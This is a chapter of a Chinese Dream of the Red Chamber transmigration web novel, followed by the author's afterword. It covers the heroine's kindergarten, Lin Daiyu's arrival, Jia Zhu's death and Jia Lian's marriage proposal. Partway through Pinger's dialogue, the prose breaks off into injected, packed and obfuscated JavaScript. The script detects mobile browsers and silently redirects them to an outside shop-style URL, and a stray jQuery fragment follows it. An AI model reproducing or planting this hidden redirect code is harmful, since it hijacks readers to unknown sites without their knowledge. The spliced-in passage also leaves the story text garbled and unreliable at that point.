见到贾敬夫人时,邢郝云险些以为是哪里来得难民。
不是衣着,而是她太瘦了,可以说皮包骨都不为过。
不等邢郝云开口,贾敬夫人道:“弟妹可是想来劝我?”
邢郝云下意识点头。
如今孩子还小,不算一条生命,可以不要的。
“这是我自己盼了数年盼来的,哪怕是一命换一命我也要把她生下来。”
邢郝云想说何苦呢,惜春未必想……
贾敬夫人似是看透了她的想法,“是我自私的想把她留下,我家老爷自那年后便萌生了入道观的想法。”
是她强把人留下,如今眼瞧留不住了,她想留个念想。
若说没听到邢郝云的幼儿园,她或许是想给贾敬留个念想,让他能有一份红尘眷恋,好管辖府中。
可如今她不是为了贾敬,也不是为了贾珍,是为了她未曾好好看过一眼的这个世界。
她想有一个延续着她血脉的孩子能自由的走出去替她也替自己去瞧一瞧。
她怕死,也未能活出什么精彩,可为了这个念想,她不惧死亡。
“今儿你既来了,我恳求几年后让孩子去你的幼儿园。”
她不求照拂,照拂是依赖旁人终不得长久;她只求能有一片净土让她的孩子肆意成长。
邢郝云没有办法不答应。
得了保证的贾敬夫人笑着闭了眼,邢郝云都有些担心她是不是……一旁嬷嬷小声道:“我家夫人是累了。”
邢郝云松了一口气,出门见着许氏那口气又提了起来,“你脸色怎如此不好?”
许氏笑笑,“ 可能最近休息不大好。”
邢郝云想着原文中贾珍的续弦姓尤,这位可不姓尤,想来也是要没。
才被半托孤的邢郝云多嘴一句,“看着不像是休息不好的样子,还是让大夫来瞧瞧。”
怕她不当回事,邢郝云拿贾蓉说事,祖母有孕都能愁,若母亲出事呢?
拿捏一个母亲最好的办法是她的孩子。
许氏犹豫一瞬,点头道:“多谢婶母,明儿我就请大夫来瞧。”
次日幼儿园散学,许氏来接贾蓉,见了邢郝云先红了眼,“多谢婶子,若非婶子……”
看来是真生了什么病,不过今儿人能来说明事情还没到最糟糕的地步。
邢郝云拉她坐下,递了茶,“好好听大夫的,若缺了什么药尽管来找我。我这里没有,还可托靖王妃帮着寻。”
“婶子,我……”许氏话不成话,泪珠淌下。
邢郝云叹口气,指着正厅在上课的孩子们,“再哭一会儿该被蓉哥儿瞧出来了。”
许氏赶忙止了哭,心里想着一早大夫的话,只要保养得宜,至少能活十五年。十五年足够看着贾蓉长大,成家立业。
她知足了。
终于得了贾敏已在路上的邢郝云万分激动,她终于要见到林妹妹了。
四月二十,天朗气清。
邢郝云早早在码头处的茶楼候着,不多时江面上驶来一艘挂着林字的二层客船。
邢郝云想第一时间见到林妹妹,顾不得礼仪,直奔码头处。
船甫一停靠,邢郝云径直上船,“林、敏妹妹,我小侄女和侄子呢。”
林焱早听了不知多少次,哄着妹妹坐好,自己先迎了出来,“林焱见过大舅母。”
邢郝云摸摸林焱结实的身子骨,拉他往室内走的同时不忘逗他:“你怎知晓我就是你大舅母?”
“字如其人。”
邢郝云还想再说什么,在目光落到榻上母女时,时间仿若凝滞。
邢郝云虽在此生活数年,却只能用一句不愧是能生出林妹妹这等世外仙姝的女子。
一旁的林妹妹头发被缀米珠的红锦绑成两个小揪揪,身着大红绣狸猫戏蝶蜀锦小袄,眉似远山、目含秋水,手中握着一只鎏金龟。
见了人来,一双眼里满是好奇与灵动。
邢郝云伸手想抱,伸到一半又怕自己抱不稳摔了,偏小黛玉看出她的意图,见母亲不反对,反张开双手。
啊啊啊,林妹妹果真是最贴心的小仙子。
邢郝云一开口险些喊成林妹妹,怕露馅她不敢再看小黛玉,转头对一旁的贾敏解释,“我刚在码头沾了不少尘土,熏到玉儿就不好了。”
贾敏还未开口,一旁早被哥哥哄着学了不少的小黛玉抱着鎏金龟道:“玉儿不是泥捏哒。”
邢郝云忍不住半蹲到小黛玉跟前,“林、玉儿说话好清楚,懂得字也多。”
想挼。
听到表扬,小黛玉神色很是得意,不忘给自家人表功,“哥哥、太太教的。”
邢郝云蠢蠢欲动的手又缩了回去,“这话等见到你爹爹的时候说给他听。”
小黛玉眨眨眼,奶声奶气回道:“爹爹教哥哥,哥哥教玉儿。”
才多大,竟知道护自家人。
想着书中林妹妹仅六岁便学完四书,如今有这样的表现也实在正常。
邢郝云虽来的早,却也没能如愿将人拐回东大院。
因为林如海请假来接人了。
好在贾敏承诺收拾妥当便会带着儿女登门。
林妹妹已经到都中,未来日子还长,她不信见了幼儿园那些小孩子们和设施,林妹妹会不想来。
邢郝云只等了两日便在贾母处等来了林家四口。
不同于原文林妹妹孤身入荣国府去拜见两位舅舅,今儿一早她便带着贾琏、贾瑶先来了贾母处。
贾赦亦踩着点到了。
因是一家子骨肉至亲,孩子们也都还小,并没有太多忌讳。
久别重逢,难免要哭两声。
不过也只两声,有林焱与小黛玉在,伤感很快就化作贾母一叠声的心肝宝的唤外孙、外孙女。
最后还是想抱林妹妹的邢郝云看不下去,推着身前的贾瑶道:“老太太,也该让她们兄弟姐妹都认认。”
贾母松开小黛玉,挨个介绍,“这是你大舅母家的姐姐,叫贾瑶。”
等到最后一个贾宝玉时,自忖有湘云妹妹、探春妹妹并偶尔来的瑶姐姐已算好颜色,谁料林家哥哥、妹妹浑似天上仙。
林焱见宝玉直勾勾盯着他与妹妹,招呼奶嬷嬷,“妹妹人小站不住,还不抱着妹妹。”
小黛玉才一岁多,虽会走路和站,却不够稳,贾母听了笑着对贾敏道:“焱哥儿果真有当哥哥的样子。”
贾敏没想自己孩子在娘家过分惹眼,说起当年她小时候两个哥哥也是这般。
一句话引得贾政似乎回到父亲健在时的幼年,也捡了两件贾敏的童年趣事。
不过三两句,站在当中的宝玉暗恼,他怎么没……
林焱见宝玉神情,开口问:“宝玉表弟可读了什么书?”
宝玉虽年岁小,除了被元春细细教过的三百千,是一个字都不想看。
如今上有贾珠这个珠玉在前,贾政还没人逼贾宝玉读书,因而听了这话宝玉如实回后反问林焱。
“刚念到《孟子》。”
王夫人不觉有什么,最后悔一辈子没参加过科举的贾政因贾珠进学也了解过不少。
《四书》按照简难程度的研读顺序是《大学》、《论语》、《孟子》、《中庸》。
小小年纪竟读到《孟子》,不愧是探花郎家的孩子。
爱才之心一起,贾政开口考林焱。
从最简单的背诵、解析,林焱没有丝毫停顿,甚至有几处让他耳目一新。
见着自家老爷掩饰不住的赞许,下首的贾珠握紧缩在袖中的手。
这就是林姑父不愿教他的原因吗?
可笑他自诩天资不俗,不,他苦读数年即便天资有限,难不成就考不中?
一场相见,众人心思各异。
邢郝云见时辰差不多,邀林家去东大院瞧瞧幼儿园。
林妹妹虽小,不到入学时间,但林焱可以。
凭小黛玉以哥哥为荣的模样,只要林焱来,林妹妹来只是早晚问题。
虽说如今时代有族学、县学,但都侧重科举,哪里有邢郝云办的融合现代的幼儿园吸引小朋友。
莫说林焱,小黛玉到最后都有些恋恋不舍。
邢郝云虽心急,也没想破坏幼儿园规矩,反正这个学期还有一个月,来了也学不了什么。
况且林焱是一定会参加科举的,有些课程的夫子她请不来,但林家可以。
等到再开学时,幼儿园便多了一位中过进士后游历四方的夫子。
林焱也通过了考核进入幼儿园。
在邢郝云满心期盼林妹妹在大一些中,贾珠带着众人的期待奔赴考场。
偏今年天冷得早,贾珠在林家出登门那日受了刺激,日夜苦读,哪怕日日进补也经不住九日住在小小的隔间中。
一出考场,贾珠便吐血昏迷。
人到家时已进气少出气多,便是太医都回天乏术。
无处发泄心中悲愤的王夫人见李纨日日垂泪,心里只剩一个念头,“哭哭哭,将我珠儿的福气都哭走了。”
李纨被骂的只默默垂泪,那副可怜模样让王夫人越发觉得晦气。
若非娶了这样一个无用的人,她的珠儿怎会不中。
王夫人不想见她出现在儿子身前,让李纨跪佛为贾珠祈福。
不敢也不能违抗婆母的李纨只能日日跪经,因有王夫人叮嘱,监督的小丫鬟也不敢放水。
不过几日,李纨人瘦了一圈,心疼的丫鬟劝她去寻贾母或邢夫人。
李纨摇摇头,婆母心里不舒服,哪怕她求了免了这个还有别的等她。
她愿意为贾珠跪经祈福,哪怕用自己的命换,她也要贾珠活着。
只有贾珠活着,她才能跟着一起活。
不然一个没了丈夫,还没子嗣,哪怕贾府肯放她,回家也是要跟着赴黄泉。
这是女子的命。
正静心祈福,李纨忽听有丫鬟喊‘珠大爷醒了’,她拉着丫鬟的手,“你可听到了?”
得了肯定答复,李纨一起身眼前一黑,晕了过去。
等她醒来,床前是又哭又笑的素云,“我这是怎么了?”
“大奶奶,您有身孕了。”
她有了孩子?
李纨缓缓摸像小腹,“大爷可醒着?”
得知人醒着,李纨让素云扶她起身,她要去告诉大爷,让大爷打起精神。
为了孩子,也要活下去。
只是贾珠这些年苦熬心血,早已到了油尽灯枯之境。
哪里是有个后代就能好的。
不过在这个时刻得知自己后继有人,贾珠握着李纨的手,“多谢你,纨儿,好好将孩子抚养长大,科举入仕。”
李纨含泪应下。
两日后,贾珠彻底闭上了眼。
李纨险些哭成泪人,还是被劝着以腹中孩子为重,才好些。
贾政也在这时觉醒了慈父心肠,不过很快这份‘慈父’心肠就转到了贾宝玉身上。
王夫人才没了一个儿子,哪里受得了贾政再来霍霍小儿子,偏她的话不大管用,只得含泪求贾母。
因贾府未来有靠,贾母也不愿二房的独苗再走贾珠老路,不止接了宝玉连带探春一同,更是三五不时就接了湘云过来。
荣庆堂内日日欢声笑语,贾母听着不觉含笑,同鸳鸯说:“你说我若接了玉儿来。”
鸳鸯知道这个玉儿说的是林姑爷家的大姑娘。
那位可是被圣人笑过林姑爷过分娇宠的心肝,况且凭她听过上任鸳鸯说敏姑奶奶未出嫁时说一不二的性子。
两个宠爱女儿的,怎可能会把孩子送到您跟前逗趣。
鸳鸯边给贾母捶肩边道:“老太太什么时候想姑奶奶与林大姑娘,派人说一声就是。”
本就不抱希望的贾母不过随口提一嘴,嗔一句便叮嘱丫鬟们看好了宝玉几个。
邢郝云听到贾母这层心思时,心里止不住冷笑。
还当林妹妹是原著中父远在千里之外,没了母亲任由安排的小姑娘?
即便真与林家许了婚约,凡多为林妹妹考虑一分都不会让两人碧纱橱内外住着。
邢郝云当即寻了贾赦,将贾母可能有的心思道来。
“老太太她……”莫说骨血不回流,凭宝玉天天吃丫鬟嘴上胭脂,哪怕林家不看门楣都瞧不上。
“我去告诉妹婿。”
邢郝云叮嘱贾赦,“婉转点说,这不过是我猜测老太太可能有的一点念头,真论起来老太太更中意史家那位。”
原文中史湘云幼时就是这样同贾宝玉一同长大,直到林黛玉来,贾母有了更好的选择。
至于史湘云和贾宝玉,邢郝云不想多干涉,退一万步有接任保龄侯爵位这回事,史家都会善待史湘云。
至于没爹娘的委屈,无解。
她能做的是等到了年纪让孩子们来考核,合格者入学。
未来如何,全凭自己。
一切看似都在照原轨迹走,却也有了不小变化。
譬如贾琏并未娶王熙凤。
提到这个,邢郝云忍不住头疼,究竟要给贾琏寻个什么妻子。
正想着,丫鬟报琏二爷来了。
“这会子怎有空过来?”邢郝云说着,推了身前的糕点过去,“尝尝新做的。”
见贾琏不语也不吃,邢郝云心里咯噔一声,“有什么便说,这吞吞吐吐作甚。”
贾琏抽身跪到邢郝云跟前,“太太,我想娶凤妹妹,求您去王家提亲。”
“娶谁?”
“儿想娶王熙凤。”最难的话说出来,剩下的心路历程就轻松多了。
他是真的喜欢那个笑容明媚,偶尔言语泼辣的凤儿,喜欢她跟着一起识字时的笨拙和给孩子们上课时的专注。
更爱她的勇敢,即便没学过也能上场舞的有模有样。
他知道王熙凤是王家的姑娘,是二太太的内侄女。
如今两房虽不说势如水火,却也不和睦。
“你当真想好了,是真想与凤丫头一世一双人到白头?”
为防贾琏真的什么香的臭的都往床上拉,邢郝云同他慢慢灌输过不少。
更多的时候只是一两句感慨。
在林如海来过一次后,这些都有了具象化的例子。
不同于书中林如海有几房姬妾,林如海只一个妻子,后来有了林焱,夫妻和睦,本就敬爱妻子的林如海自不会纳妾。
因书信往来和人格魅力,贾琏口中提起最多的是这位林姑父。
也是因为林如海让他知晓,原来男人不是必须小老婆不断。
加之邢郝云有意,二房的消息从不避讳,让贾琏知道赵姨娘的争和王夫人的不容。
已得到过托举也明白长辈责任的贾琏郑重承诺,“母亲,儿想好了,此生只求王熙凤一个。”
此刻的真心与原著轨迹让邢郝云做不成棒打鸳鸯但该叮嘱的还是要叮嘱。
“今儿你既爱她的骄横,来日便不能因她的骄横恶她。”
贾琏急忙保证,只是见过太多物是人非且原书俩人走到那个地步的邢郝云怎会凭几句话就同意。
一颗赤诚的真心未得到答案,贾琏写起承诺书。
这份肯落下把柄的诚心,终让邢郝云松了口,等墨迹干透妥帖收好,她对贾琏道:“既你有如此诚心,我便替你走一遭。”
王家如今也在为王熙凤的婚事发愁,偏这位姑奶奶一个都瞧不上,甚至扬言:“大不了一辈子跟着邢园长教书。”
王子腾夫人劝她,“你还能真教一辈子?况且那些孩子们学的,你懂多少?”
“那我从前还大字不识一个呢。”如今条文律法她都认全了。
眼见说不过,王子腾夫人正想寻谁来劝,忽有小丫鬟报邢夫人来了。
王子腾夫人顾不上想为何邢郝云这个时候会来,满心皆是劝凤哥的人来了。
待听到邢郝云来意,王子腾夫人惊得起身,“邢夫人刚说什么?”
“今儿我是来为犬子贾琏像凤姐儿提亲的。”
贾琏身上有爵位,长得风流俊俏,凭家世、模样、家私皆相配,奈何自家这祖宗……
王子腾夫人不得不说:“不瞒邢夫人,我家这小姑奶奶正闹着不嫁人呢。”
俩人成婚前有这出?还是因她而起的波澜?
不管如何,人总要亲见一回,问过才算不负所托。
本着在自己家中,王子腾夫人也没什么好阻拦的,命人请了王熙凤来。
听闻是贾琏求邢夫人来登门问询,想着往日他或呆或油嘴滑舌的模样,王熙凤难得有了少女的娇羞,躲到王子腾夫人身后。
两人一个是过来人,一个现代剧没少看,自然看出王熙凤这是有意。
为表诚意,邢郝云临走前将贾琏的那封承诺书塞给王熙凤。
等到夜里悄悄看了,王熙凤凤眉一挑,“呸,谁说要嫁了,就敢写这孟浪话。”
守夜的平儿恰撇到纸上的一生一世……心里为自家姑娘开心,嘴上却道:“看来姑娘在家待不长了。”
“小蹄子,可是你想男人了。”王熙凤收了信纸,“别急,到时候我给你们几个慢慢挑个良配。”
不等平儿答话,王熙凤哎呀一声,急的平儿连忙追问怎么了。
“忘了问若真成婚,我可还能留在幼儿园教书。”从前她好权,如今她却觉得这教书比弄权更有趣。
平儿笑道:“姑娘真是被喜事砸糊涂了,园中可有现场的姑奶奶教书呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611260|203294||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
是了,元春表姐如今还在授课,虽不如从前多,但五天也有三两日在。
她就嫁到那府里,又无需赶路,自会更多。
得了准许,邢郝云便将此事告给贾母,见孩子们乐意,贾母也不是棒打鸳鸯的人。
况且贾母心里还有一层隐秘的心思,大房未来当家太太是王家人,便会多关照二房,如此,她再没不放心的。
心里又一桩事落定,贾母乐呵呵道届时两头都给送东西。
这话传到王夫人耳中,气的又砸了一套杯盏。
随后想到凤丫头到底是自己侄女,只要姑侄俩一条心,拿捏大房自是手到擒来。
因而,王夫人乐呵呵回了娘家,甚至从私库里挑了不少好玩意。
此刻满心算盘的王夫人却忘了在幼儿园识字、懂法的王熙凤再不是原著里那个能被她轻易拿捏的王熙凤了。
婚期定在了明年六月二十八。
这日子是清虚观张道士算出来的,这张道士早年是荣国府国公的替身,又被先皇御口亲封“大幻仙人”,掌道录司。
如今王公藩镇皆称其为‘神仙’,因与贾府有私交,贾母亲递了帖子,张道士便送出了这个吉日。
提起张道士,贾母难免想起身为国公的公爹以及自家国公爷,对着像公爹的宝玉添了一份欢喜。
或许未来大有可为亦未可知。
莫说贾琏,便是贾赦、贾政对自家祖父的记忆都有些模糊,哪里能知晓贾母这份隐秘的期待。
谁料年节下圣人再度病危,隐隐有宾天的趋势,都中暗流涌动。
在多方合力谋取那个位置时,圣人一纸诏书退位让贤,将皇位传给了靖王红翊。
一时勋贵哗然,满朝文武私下不服,甚至有些怕这位冷血王爷大洗朝堂。
唯有贾赦喝着小酒心里乐开花。
一来邢氏与靖王府交好,算提前抱住了大腿;二来他听了妹婿林如海的话从未跟那些人来往。
不止贾赦,隔壁宁国府抱着才出生的女儿却没了妻子的贾敬反倒有些羡慕这个自小‘不学无术’的堂弟。
从前有太子后坏了事的老义忠亲王,如今凭着续弦夫人又抱住了新任帝王,也算保全了满府富贵。
而他,当年苦熬才中了二甲进士,后被牵连连官场都未踏入,而今……
可怜他才出生的女儿。
听闻贾敬要入道观,邢郝云忙让贾赦去劝,这位可不能走。
真走了,她怕许氏撑不住,若宁国府走上老路,荣国府也得跟着丢脸。
她可不想林妹妹名声跟着受一点牵连。
“我能劝什么?”
邢郝云气的想翻白眼,能劝什么?
劝他为了女儿留下,为贾蓉这个已走在正路上的独苗留下,劝他听林如海的方针忠于陛下。
如今满朝文武不看好陛下,陛下手里也没几个人能用。
这种时候表忠心,哪怕自己做过墙头草没太好的下场,也能给后代留下一条路啊。
无论结果如何都比遁入道观,任由后代胡来强。
这番话果真让贾赦打住念头。
他只是一时万念俱灰,没转过弯,又无人能诉述。毕竟当年爵位早已隔空丢给儿子,他一介白身也算无挂碍。
有贾敬这个智囊在,贾赦将当初林如海给的方针原本道来。
二人思索一番,趁着林如海休沐将人约至茶楼,详谈一番。
待年后开衙、上朝,贾赦写了一份请安请罪折子。
详细阐述这些年躺在祖宗功劳上无所作为云云,挂着国公府牌子夜里爹和祖父混合双打,还说让帝王操心。
总之这是一份追忆往昔并诚恳认错的折子。
新帝早年也是跟在老义忠亲王身后,这些年早看不惯贾赦的样子。
如今见他如此识趣,回忆里提及那位亦是缅怀,正愁朝中无勋贵表态,有贾赦开头,他也好做个表彰,让老臣放心。
尤其这是曾出过一门双公的贾家,可是父皇曾经最看重、爱重的臣子。
新上任的帝王带着折子去寻了太上皇,虽太上皇说新帝不安好心,他身体如此还拿朝廷的事儿烦他。
未上朝就收了不知多少折子,深知在朝中几乎是孤立无援的红翊心中苦笑,您让我继位何尝不是看中我这一点。
好掌控。
儿如今做的不正是您期望的?
太上皇缅怀一番,让贾府保持原样,又笑贾赦不似从前,胆子竟比老鼠。最后不忘问新帝意见。
新帝能有什么意见,自然是遵守。
不过私下他让依旧在幼儿园的红景带了什么东西去贾府,就不是太上皇能管到的。
谁知,次日甄贵太妃便传了皇后陈怡之去,话里话外皆是红景乃陛下唯一儿子,还是嫡子,未来是要继承大统的,岂能任由在宫外。
陈怡之想着上次侍疾回来,儿子瘦了一圈,为了身子康健,她宁愿景哥儿在宫外。
等到用晚膳,陈怡之将此事告知陛下。
“确实该给景哥儿请几个先生。”从前,他是王爷,儿子病弱,反正最后当王爷身体如何、学问如何不打紧。
如今不同了,他要给儿子最好的。
既消息如此灵通,他更不能把儿子也困在宫里。
听着红翊没有让儿子不再去的打算,陈怡之松了一口气,不过她也要好好盘算一番。
这才几日,已有人对她说陛下子嗣少了。
从前没想,如今既到了这个位置,那一处必须是自家儿子的。
幼儿园的那些孩子正合适给儿子培养班底,打小长起来的情分最深厚。
该去哪里给幼儿园再添些好先生?
有了,那个当年艳冠都中的才女贾敏。
而今她是清流臣子的夫人,开口比她这个不讨喜的皇后更得清流的心。
殊不知红翊也在打着林如海的主意。
林如海是少有的不结党营私、不魅上还有能力且出身勋贵又凭一己之力挤入清流的臣子。
满朝文武中都是独一份的存在。
而此时的林府,休沐的林如海正教着一双儿女。
如都那日让林如海发现小黛玉口才绝佳,等到休沐他才发现从前教林焱的那些,她竟能一字不差复述。
这入耳不忘的本事连他都没有。
这天资若是男儿,自可封侯拜相,入内阁。
不过林如海不是迂腐的人,如今新帝的情况、大内兄家的幼儿园让他隐约摸到一条路。
因而在授课,他便让女儿旁听,贾敏想阻挠,林如海直接念了一段让小黛玉重复。
一字不差。
贾敏也是读过书、试过字,在都出尽风头的贵女,哪里会甘心女儿藏拙。
如此一段时日后,林如海惊喜的发现林焱比之前更用功了。
原本需重复两遍的知识,现在只需重复一遍。
再大些,也该送女儿去幼儿园和同龄孩子一处学习。
不过这教书先生,还得再仔细斟酌一二。
每日跟在哥哥身后念书、吃糕、荡秋千的小黛玉和一心不能差妹妹太多的林焱丝毫不知。
幼儿园里的一众孩子更是不知一年半后等待他们的是什么。
他们如今在各自的路上慢慢成长,慢慢体会四季更迭。
朝中那些也不过是课间的闲谈,无人放在心里。
不同于孩子们的无忧无虑,邢郝云每日掰着手指数林妹妹入园的日子,焦虑又幸福。
从前她只能为林妹妹撒些泪,后来她能在游戏里弥补林妹妹的遗憾,如今她到了红楼,成了邢夫人。
她让林妹妹有了哥哥,父母如今也健康,而且还有一个有无数同龄人的幼儿园在等着她的到来。
邢郝云开幼儿园的故事就到这里了,咱们在《【红楼】黛玉今天也是满级幼崽》见喽。
开篇之初我想写一个黛粉穿来给林妹妹完整幸福的童年,可没有父母的童年怎么算完整呢,所以林如海和贾敏必须活着。
林妹妹说过羡慕宝钗有手足,虽然姐姐妹妹更好,在那个时代,还是男子撑门户,因而还是选择了哥哥。一部分是那个时代所限,还有一部分是林妹妹是最独一无二的存在,她的才学、能力都是如此。
所以直接选了林妹妹还没出生,一切都还没开始的时候。
写着写着才发现我主线成了邢郝云的日常,与最开的大纲差了十万八千里,想过大修,又怕大家前后对照看会混乱,最终决定把这些作为一个前传完结。然后以林妹妹的视角展开一个全新的幼儿园到女官的成长故事。
感谢每一个读到这里的读者宝宝,感谢你们的阅读,让我每天都有动力更新,咱们新故事见。